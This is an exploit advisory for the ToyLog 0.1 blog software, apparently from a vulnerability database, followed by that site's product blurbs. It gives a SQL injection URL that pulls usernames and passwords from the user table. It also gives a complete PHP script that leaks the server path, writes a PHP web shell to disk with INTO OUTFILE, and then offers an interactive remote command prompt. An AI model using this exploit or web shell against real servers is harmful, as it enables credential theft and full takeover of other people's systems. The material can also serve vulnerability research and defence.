--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--
[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user
[+] Remote Command Execution Exploit
#!/usr/bin/php
<?php
function usage () {
exit ( "\n".
"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
"- -\n".
"+ ToyLog 0.1 Remote Command Execution Exploit +\n".
"- Author : darkjoker -\n".
"+ Site : http://darkjoker.net23.net +\n".
"- Download: http://sourceforge.net/projects/toylog/ -\n".
"+ Usage : php xpl.php <url> +\n".
"- Ex. : php xpl.php http://localhost/ToyLog/ -\n".
"+ +\n".
"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
"\n");
}
function hex_format ($string) {
$i=0;
while ($i<strlen($string))
$hex .= "%".dechex(ord($string[$i++]));
return $hex;
}
function get_path ($host, $dir) {
$fp = fsockopen ($host, 80);
$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
"Host: {$host}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $req);
while (!feof ($fp))
if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
$path = $data [1];
list ($path) = explode ("block/db.php", $path);
fclose ($fp);
return $path;
}
function upload_shell ($host, $dir) {
$fp = fsockopen ($host, 80);
$shell_path = get_path ($host, $dir)."shell.php";
if (!strcmp ($shell_path, "shell.php"))
die ("[-] Exploit failed.\n");
$query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
"Host: {$host}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $req);
fclose ($fp);
}
if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
echo "backdoor@{$host}: ";
$cmd = hex_format(trim (fgets ($stdin, 1024)));
if (!strcmp ($cmd, hex_format("exit")))
break;
$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
array_shift ($out);
array_pop ($out);
echo $out [0];
}
?>
# sebug.net
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation